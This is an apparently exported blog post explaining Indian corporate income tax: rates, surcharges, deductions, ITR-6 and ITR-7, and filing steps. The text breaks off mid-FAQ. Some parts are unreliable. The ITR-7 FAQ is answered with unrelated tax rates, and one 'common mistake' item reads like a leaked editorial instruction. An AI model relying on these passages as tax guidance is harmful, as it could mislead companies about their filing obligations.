{"id":11828,"date":"2026-04-02T06:06:48","date_gmt":"2026-04-02T12:36:48","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=11828"},"modified":"2026-04-02T06:06:48","modified_gmt":"2026-04-02T12:36:48","slug":"income-tax-for-domestic-company","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/","title":{"rendered":"Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#What_is_the_Importance_of_Filing_ITR_for_a_Domestic_Company\" >What is the Importance of Filing ITR for a Domestic Company<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#Income_Tax_Rate_for_Domestic_Companies_in_India_Tax_Year_2026-27\" >Income Tax Rate for Domestic Companies in India (Tax Year 2026-27)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#Key_Deductions_and_Tax_Benefits_for_Domestic_Companies\" >Key Deductions and Tax Benefits for Domestic Companies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#Which_ITR_Form_Applies_to_a_Domestic_Company\" >Which ITR Form Applies to a Domestic Company?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#ITR_Filing_Checklist_for_Domestic_Companies\" >ITR Filing Checklist for Domestic Companies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#How_to_File_ITR_for_a_Domestic_Company_in_FY_25-26\" >How to File ITR for a Domestic Company in FY 25-26<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#What_are_the_Benefits_of_Filing_ITR_for_a_Domestic_Company\" >What are the Benefits of Filing ITR for a Domestic Company<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#What_are_the_Common_Mistakes_to_Avoid_While_Filing_ITR_for_Domestic_Companies\" >What are the Common Mistakes to Avoid While Filing ITR for Domestic Companies<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#Things_to_Keep_in_Mind_While_Filing_Income_Tax_for_a_Domestic_Company\" >Things to Keep in Mind While Filing Income Tax for a Domestic Company<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/income-tax-for-domestic-company\/#Income_Tax_for_Domestic_Companies_AY_2026-27_FAQs\" >Income Tax for Domestic Companies (AY 2026-27): FAQs<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/tax\/\">Tax<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Income Tax for Domestic Company: Tax Slabs, Forms &amp; Deductions &#8211; FY 2025-26<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Income tax filing is mandatory for domestic companies in India. Depending on turnover, tax regime, deductions claimed, and the nature of business, a domestic company may be taxed at different specified rates and may also be subject to surcharge, cess, and additional compliance requirements.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This guide explains the applicable tax rates, deductions, return forms, and filing requirements for domestic companies under the 2026 framework.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_the_Importance_of_Filing_ITR_for_a_Domestic_Company\"><\/span>What is the Importance of Filing ITR for a Domestic Company<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Filing taxes is a legal obligation for domestic companies in India.\u00a0<\/li>\n\n\n\n<li>It helps maintain financial transparency and builds credibility with investors, lenders, and regulatory authorities.\u00a0<\/li>\n\n\n\n<li>Companies that regularly file taxes can carry forward losses to offset future profits, reducing their tax liability.\u00a0<\/li>\n\n\n\n<li>It strengthens corporate governance and enhances a company\u2019s market reputation.\u00a0<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Income_Tax_Rate_for_Domestic_Companies_in_India_Tax_Year_2026-27\"><\/span>Income Tax Rate for Domestic Companies in India (Tax Year 2026-27)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are the details of the domestic company tax slab in India!<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Condition<\/strong><\/td><td><strong>Income Tax Rate (excluding surcharge and cess)<\/strong><\/td><\/tr><tr><td>Turnover or Gross Receipts in FY 2020-21 up to \u20b9400 crore<\/td><td>25%<\/td><\/tr><tr><td>Opted for Section 115BA<\/td><td>25%<\/td><\/tr><tr><td>Opted for Section 115BAA<\/td><td>22%<\/td><\/tr><tr><td>Opted for Section 115BAB<\/td><td>15%<\/td><\/tr><tr><td>Any other Domestic Company<\/td><td>30%<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Domestic companies are not taxed through slab progression like individual taxpayers. Instead, the applicable rate depends on turnover thresholds or the concessional regime chosen under the law.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Surcharge and Other Charges in Company Income Tax<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Surcharge:<\/strong> 7% where total income exceeds \u20b91 crore but does not exceed \u20b910 crore<\/li>\n\n\n\n<li><strong>Surcharge:<\/strong> 12% where total income exceeds \u20b910 crore<\/li>\n\n\n\n<li><strong>Surcharge for 115BAA \/ 115BAB companies:<\/strong> 10%, irrespective of total income<\/li>\n\n\n\n<li><strong>Marginal relief:<\/strong> available where surcharge exceeds the additional income over the threshold<\/li>\n\n\n\n<li><strong>Health and education cess:<\/strong> 4% on tax plus surcharge<\/li>\n\n\n\n<li><strong>MAT:<\/strong> generally 15% of book profit, plus surcharge and cess, where applicable<\/li>\n\n\n\n<li><strong>MAT for certain IFSC companies:<\/strong> 9% in specified cases<\/li>\n\n\n\n<li><strong>Companies opting for section 115BAA or section 115BAB are not liable to MAT<\/strong><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Deductions_and_Tax_Benefits_for_Domestic_Companies\"><\/span>Key Deductions and Tax Benefits for Domestic Companies<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A domestic company in India can claim tax deductions under various sections, such as 80JJAA (new employment generation), 80G (donations), and 35 (R&amp;D expenses).&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Donations (Section 80G &amp; 80GGA)<\/strong>: Companies can claim deductions on donations to charitable institutions, scientific research, or rural development (up to 100%, subject to limits). Cash donations above \u20b92,000 are not eligible.<\/li>\n<\/ol>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Political Contributions (Section 80GGB)<\/strong>: Any contribution to political parties or electoral trusts is fully deductible if paid through non-cash modes.<\/li>\n<\/ol>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Infrastructure &amp; SEZ (Sections 80IA, 80IAB, 80IC, 80IE)<\/strong>: Businesses in infrastructure, SEZs, and North-Eastern states can claim 100% profit deductions for a specific period.<\/li>\n<\/ol>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Startups &amp; Employment Benefits (Sections 80IAC, 80JJAA)<\/strong>: Eligible startups get 100% tax exemption for 3 out of 10 years, while companies hiring new employees can deduct 30% of their additional employee cost for 3 years.<\/li>\n<\/ol>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Inter-Corporate Dividends (Section 80M)<\/strong>: A domestic company can claim deductions on dividends received from other companies if they are redistributed to shareholders before the ITR filing due date.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Tax-saving options for a domestic company are numerous.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Section<\/strong><\/td><td><strong>Deduction Details<\/strong><\/td><\/tr><tr><td><strong>80G<\/strong><\/td><td>Donations to charitable funds (50%-100% deduction)<\/td><\/tr><tr><td><strong>80GGA<\/strong><\/td><td>Donations for scientific research &amp; rural development<\/td><\/tr><tr><td><strong>80GGB<\/strong><\/td><td>Contributions to political parties (non-cash only)<\/td><\/tr><tr><td><strong>80IA<\/strong><\/td><td>100% deduction for 10 years (Infrastructure &amp; Power)<\/td><\/tr><tr><td><strong>80IAB<\/strong><\/td><td>100% deduction for 10 years (Special Economic Zones)<\/td><\/tr><tr><td><strong>80IAC<\/strong><\/td><td>100% deduction for 3 years (Start-ups)<\/td><\/tr><tr><td><strong>80IB<\/strong><\/td><td>100% deduction for 5-10 years (Manufacturing &amp; Food Processing)<\/td><\/tr><tr><td><strong>80IBA<\/strong><\/td><td>100% deduction (Affordable Housing Projects)<\/td><\/tr><tr><td><strong>80IC<\/strong><\/td><td>100% deduction for 5 years, then 25% (30% for companies) (Himachal, Sikkim, North-East)<\/td><\/tr><tr><td><strong>80IE<\/strong><\/td><td>100% deduction for 10 years (Industries in North-East)<\/td><\/tr><tr><td><strong>80JJA<\/strong><\/td><td>100% deduction for 5 years (Biodegradable Waste Processing)<\/td><\/tr><tr><td><strong>80JJAA<\/strong><\/td><td>30% deduction on additional employee costs for 3 years<\/td><\/tr><tr><td><strong>80LA<\/strong><\/td><td>100% deduction for 5 years, then 50% for the next 5 years (IFSC &amp; Offshore Banking)<\/td><\/tr><tr><td><strong>80M<\/strong><\/td><td>Deduction for inter-corporate dividends distributed<\/td><\/tr><tr><td><strong>80PA<\/strong><\/td><td>100% deduction for Producer Companies (AY 2019-20 to 2025-26, turnover &lt; \u20b9100 Cr)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Which_ITR_Form_Applies_to_a_Domestic_Company\"><\/span>Which ITR Form Applies to a Domestic Company?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In most cases, domestic companies file either ITR-6 or ITR-7, depending on the nature of the entity and whether an exemption under section 11 is claimed.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>ITR Form<\/strong><\/td><td><strong>Applicable To<\/strong><\/td><td><strong>When to Use<\/strong><\/td><\/tr><tr><td>ITR-6<\/td><td>Domestic companies other than those claiming exemption under section 11<\/td><td>For companies with taxable business or professional income<\/td><\/tr><tr><td>ITR-7<\/td><td>Companies and institutions required to file under sections 139(4A), 139(4B), 139(4C), or 139(4D)<\/td><td>Where income is reported under the specific categories covered by these provisions<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. ITR-6<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This form applies to all companies except those claiming exemption under Section 11 (income from property held for charitable or religious purposes).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Companies eligible to file ITR-6:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Indian companies<\/li>\n\n\n\n<li>Foreign body corporates operating in India<\/li>\n\n\n\n<li>Any association, institution, or body (Indian or non-Indian) declared as a company by the Board<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. ITR-7<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This form applies to companies required to file returns under Sections 139(4A), 139(4B), 139(4C), or 139(4D), such as:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Section 139(4A)<\/strong>: Companies receiving income from property held for charitable or religious purposes<\/li>\n\n\n\n<li><strong>Section 139(4B)<\/strong>: Political parties<\/li>\n\n\n\n<li><strong>Section 139(4C)<\/strong>: Entities like research associations, news agencies, etc.<\/li>\n\n\n\n<li><strong>Section 139(4D)<\/strong>: Universities, colleges, or institutions referred under Section 35<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Important Compliance Forms and Reports for Domestic Companies<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Domestic company tax filing may require the following ITR forms!<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Form \/ Report<\/strong><\/td><td><strong>Purpose<\/strong><\/td><\/tr><tr><td>ITR-6<\/td><td>Main return form for companies not required to file ITR-7<\/td><\/tr><tr><td>ITR-7<\/td><td>Return form for specified institutions filing under sections 139(4A) to 139(4D)<\/td><\/tr><tr><td>Form 26<\/td><td>Tax audit report under the renumbered 2026 framework, corresponding to earlier Forms 3CA \/ 3CB \/ 3CD<\/td><\/tr><tr><td>Form 48<\/td><td>Transfer pricing audit report under the renumbered 2026 framework, corresponding to earlier Form 3CEB<\/td><\/tr><tr><td>Form 66<\/td><td>MAT-related certification under the renumbered 2026 framework, corresponding to earlier Form 29B<\/td><\/tr><tr><td>Form 131<\/td><td>TDS certificate counterpart under the renumbered 2026 framework, corresponding to earlier Form 16A<\/td><\/tr><tr><td>Form 44<\/td><td>Statement for foreign tax credit under the 2026 framework, corresponding to the old Form 67<\/td><\/tr><tr><td>Form 168<\/td><td>Annual information statement structure under the new framework<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ITR_Filing_Checklist_for_Domestic_Companies\"><\/span>ITR Filing Checklist for Domestic Companies<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before filing your Income Tax Return (ITR), as a domestic company in India, you must ensure that you have all the necessary documents and details ready. Here\u2019s a quick checklist to help your company stay compliant and avoid errors:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"1493\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/ITR-Filing-Checklist-for-Domestic-Companies-1.jpg\" alt=\"ITR Filing Checklist for Domestic Companies\" class=\"wp-image-16952\" style=\"width:650px\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/ITR-Filing-Checklist-for-Domestic-Companies-1.jpg 1200w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/ITR-Filing-Checklist-for-Domestic-Companies-1-241x300.jpg 241w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/ITR-Filing-Checklist-for-Domestic-Companies-1-823x1024.jpg 823w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2025\/03\/ITR-Filing-Checklist-for-Domestic-Companies-1-768x956.jpg 768w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">ITR Filing Checklist for Domestic Companies<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_to_File_ITR_for_a_Domestic_Company_in_FY_25-26\"><\/span>How to File ITR for a Domestic Company in FY 25-26<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Filing an Income Tax Return (ITR) for a domestic company is different from individual filings.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is a step-by-step guide for filing ITR-6 &amp; ITR-7 online through the Income Tax e-Filing portal.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 1: Register on the e-Filing Portal<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Visit the Income Tax e-Filing Portal:<a href=\"https:\/\/www.incometax.gov.in\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> https:\/\/www.incometax.gov.in<\/a><\/li>\n\n\n\n<li>Click on &#8220;Register&#8221; and choose Company as the user type.<\/li>\n\n\n\n<li>Enter PAN, email ID, and mobile number to complete the registration.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 2: Log In<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use your Company PAN as the User ID.<\/li>\n\n\n\n<li>Enter your password and captcha code to log in.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 3: Choose the Correct ITR Form<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ITR-6 \u2192 For companies not claiming exemption under Section 11 (income from property held for charitable\/religious purposes).<\/li>\n\n\n\n<li>ITR-7 \u2192 For companies required to file returns under Sections 139(4A), 139(4B), 139(4C), or 139(4D) (such as charitable trusts, political parties, or research associations).<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 4: Pre-Fill Company Data<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The portal auto-fills data from Form 26AS, TDS details, and previous ITRs.<\/li>\n\n\n\n<li>Verify and update revenue, expenses, depreciation, and tax payments.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 5: Enter Financial &amp; Tax Details<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Fill in income details from the Profit &amp; Loss Account and Balance Sheet.<\/li>\n\n\n\n<li>Enter deductions and exemptions under applicable sections.<\/li>\n\n\n\n<li>Include Tax Deducted at Source (TDS) details.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 6: Review and Validate Information<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ensure that total income, deductions, and tax liabilities are correctly entered.<\/li>\n\n\n\n<li>Use the &#8220;Validate&#8221; button to check for errors.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 7: Calculate &amp; Pay Tax (if applicable)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The system will automatically calculate the company tax liability.<\/li>\n\n\n\n<li>Pay any outstanding tax via net banking, debit card, or challan before submission.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 8: Submit the ITR &amp; E-Verify<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Click &#8220;Submit&#8221; and choose an e-Verification method:\n<ul class=\"wp-block-list\">\n<li>Digital Signature Certificate (DSC) \u2013 Mandatory for companies<\/li>\n\n\n\n<li>Electronic Verification Code (EVC) via net banking (if applicable)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 9: Get ITR Acknowledgement<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Once filed, the portal generates an ITR-V Acknowledgement.<\/li>\n\n\n\n<li>Save it for future reference.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Important Points for domestic company ITR filing:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ITR-6 is the most commonly used form for corporate tax filing.<\/li>\n\n\n\n<li>Companies must file ITR electronically using a Digital Signature Certificate (DSC).<\/li>\n\n\n\n<li>The due date for filing ITR for domestic companies is usually October 31 of the assessment year (AY).<\/li>\n\n\n\n<li>ITR-7 applies to specific institutions and requires proper documentation.<\/li>\n\n\n\n<li>Failure to file within the due date results in penalties.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_are_the_Benefits_of_Filing_ITR_for_a_Domestic_Company\"><\/span>What are the Benefits of Filing ITR for a Domestic Company<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Domestic companies that file taxes on time can take advantage of various benefits:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Lower tax rates under special provisions, such as Section 115BAA (22%) and Section 115BAB (15%).\u00a0<\/li>\n\n\n\n<li>Proper tax filing enables businesses to qualify for government schemes, subsidies, and incentives designed to promote industry growth.\u00a0<\/li>\n\n\n\n<li>It ensures eligibility for tax refunds if excess tax was paid during the year.\u00a0<\/li>\n\n\n\n<li>Companies engaged in research, infrastructure, or manufacturing can claim additional deductions under sections 80IA, 80IB, and 80IC, leading to significant tax savings.\u00a0<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_are_the_Common_Mistakes_to_Avoid_While_Filing_ITR_for_Domestic_Companies\"><\/span>What are the Common Mistakes to Avoid While Filing ITR for Domestic Companies<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Filing income tax for a domestic company requires careful attention to detail to avoid errors that can lead to penalties. Here are common mistakes to watch out for:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Using AY language in a 2026-rules article:<\/strong> If the article is meant for the post-1 April 2026 framework, use Tax Year 2026-27 rather than AY 2026-27 as the main reference.<\/li>\n\n\n\n<li><strong>Selecting the wrong return form:<\/strong> ITR-6 and ITR-7 apply in different situations and should not be used interchangeably.<\/li>\n\n\n\n<li><strong>Using old form numbers without noting the 2026 renumbering:<\/strong> Forms such as 3CA\/3CB\/3CD, 3CEB, 29B, 16A, and 67 have corresponding renumbered forms under the 2026 framework.<\/li>\n\n\n\n<li><strong>Incorrectly claiming deductions after opting for concessional tax regimes:<\/strong> Companies under section 115BAA or 115BAB need to verify which deductions remain available.<\/li>\n\n\n\n<li><strong>Ignoring surcharge, cess, or MAT implications:<\/strong> These can materially change the final tax outgo even when the base rate appears straightforward.\u00a0<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Things_to_Keep_in_Mind_While_Filing_Income_Tax_for_a_Domestic_Company\"><\/span>Things to Keep in Mind While Filing Income Tax for a Domestic Company<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Filing income tax for a domestic company involves multiple steps, and careful planning can help avoid unnecessary penalties. Here are some important things to keep in mind:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1. <strong>Understand Your Tax Slab &amp; Applicable Tax Rate<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The corporate tax rate in India depends on the company&#8217;s turnover and chosen tax regime:\n<ul class=\"wp-block-list\">\n<li>25% for companies with turnover up to \u20b9400 crore.<\/li>\n\n\n\n<li>22% under Section 115BAA (no exemptions allowed).<\/li>\n\n\n\n<li>15% under Section 115BAB (for new manufacturing companies).<\/li>\n\n\n\n<li>30% for other companies.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Choosing the right company tax slab ensures correct tax computation.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;2<strong>. Ensure Timely Tax Payments &amp; Compliance<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Advance tax must be paid in four instalments if the tax liability exceeds \u20b910,000.<\/li>\n\n\n\n<li>A Minimum Alternate Tax (MAT) at 15% of book profits applies unless the company opts for Sections 115BAA or 115BAB.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. Maintain Accurate Financial &amp; Tax Records<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Keep records of:\n<ul class=\"wp-block-list\">\n<li>Balance sheets and profit &amp; loss statements.<\/li>\n\n\n\n<li>Tax Deducted at Source (TDS) certificates.<\/li>\n\n\n\n<li>Form 26AS and AIS (Annual Information Statement).<\/li>\n\n\n\n<li>GST details and advance tax receipts.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Using an income tax calculator can help estimate tax liability in advance.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4. Utilise Available Tax Deductions &amp; Benefits<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Income tax deductions for domestic companies include:\n<ul class=\"wp-block-list\">\n<li>Section 80G (Donations to charitable institutions).<\/li>\n\n\n\n<li>Section 80JJAA (Hiring new employees).<\/li>\n\n\n\n<li>Section 80M (Inter-corporate dividends).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Companies under 115BAA and 115BAB cannot claim most deductions.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5. File Mandatory Forms for Special Tax Rates<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>To opt for lower corporate tax rates, companies must file:\n<ul class=\"wp-block-list\">\n<li>Form 10-IC (for 22% tax under Section 115BAA).<\/li>\n\n\n\n<li>Form 10-ID (for 15% tax under Section 115BAB).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Missing these forms results in a higher tax liability.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Filing taxes for a domestic company requires the correct return form, accurate tax-rate selection, proper reporting of deductions and tax credits, and attention to the updated compliance framework. A structured review before filing can help reduce errors and improve compliance.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-income-tax-for-domestic-companies-ay-2026-27-faqs\"><span class=\"ez-toc-section\" id=\"Income_Tax_for_Domestic_Companies_AY_2026-27_FAQs\"><\/span>Income Tax for Domestic Companies (AY 2026-27): FAQs<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1741693716215\"><strong class=\"schema-faq-question\"><strong>What is Corporate Tax in India?<\/strong><\/strong> <p class=\"schema-faq-answer\">Corporate tax in India is the tax levied on the net income or profits of a company. Domestic companies and foreign companies operating in India are required to pay corporate tax based on their earnings and applicable tax slabs.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693717771\"><strong class=\"schema-faq-question\"><strong>How is Corporate Tax Calculated in India?<\/strong><\/strong> <p class=\"schema-faq-answer\">The corporate tax in India is calculated based on a company\u2019s taxable income after deductions, exemptions, and applicable tax rates.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693718570\"><strong class=\"schema-faq-question\"><strong>What is an Income Tax Calculator for Companies?<\/strong><\/strong> <p class=\"schema-faq-answer\">An income tax calculator helps businesses estimate their tax liability by considering taxable income, deductions, and applicable corporate tax rates in India.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693719275\"><strong class=\"schema-faq-question\"><strong>Which ITR is applicable for a company?<\/strong><\/strong> <p class=\"schema-faq-answer\">A company is required to file ITR-6, except for companies that claim exemption under Section 11 for income from property held for charitable or religious purposes.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693720522\"><strong class=\"schema-faq-question\"><strong>What is the income tax rate for a domestic company?<\/strong><\/strong> <p class=\"schema-faq-answer\">The income tax rate for a domestic company ranges from 15% to 30%, depending on the company&#8217;s turnover and the tax regime it has opted for.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693721522\"><strong class=\"schema-faq-question\"><strong>Who needs to file ITR-7?<\/strong><\/strong> <p class=\"schema-faq-answer\">The applicable rate may be <strong>15%, 22%, 25%, or 30%<\/strong>, depending on turnover and whether the company has opted for sections 115BA, 115BAA, or 115BAB.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693872395\"><strong class=\"schema-faq-question\"><strong>What is the ITR for business income?<\/strong><\/strong> <p class=\"schema-faq-answer\">The type of Income Tax Return (ITR) form for business income depends on the nature and size of the business. ITR-3 is applicable for individuals and Hindu Undivided Families (HUFs) having business or professional income. ITR-4 is for small businesses opting for the presumptive taxation scheme. ITR-6 is for companies, except those exempt under Section 11.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693873051\"><strong class=\"schema-faq-question\"><strong>What is a domestic company as per the Income Tax Act?<\/strong><\/strong> <p class=\"schema-faq-answer\">As per Section 2(22A) of the Income Tax Act, a domestic company refers to an Indian company or any other company that pays dividends in India from its taxable income and has made the necessary arrangements for such payments.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1741693873898\"><strong class=\"schema-faq-question\"><strong>\u00a0What is the tax slab for a company?<\/strong><\/strong> <p 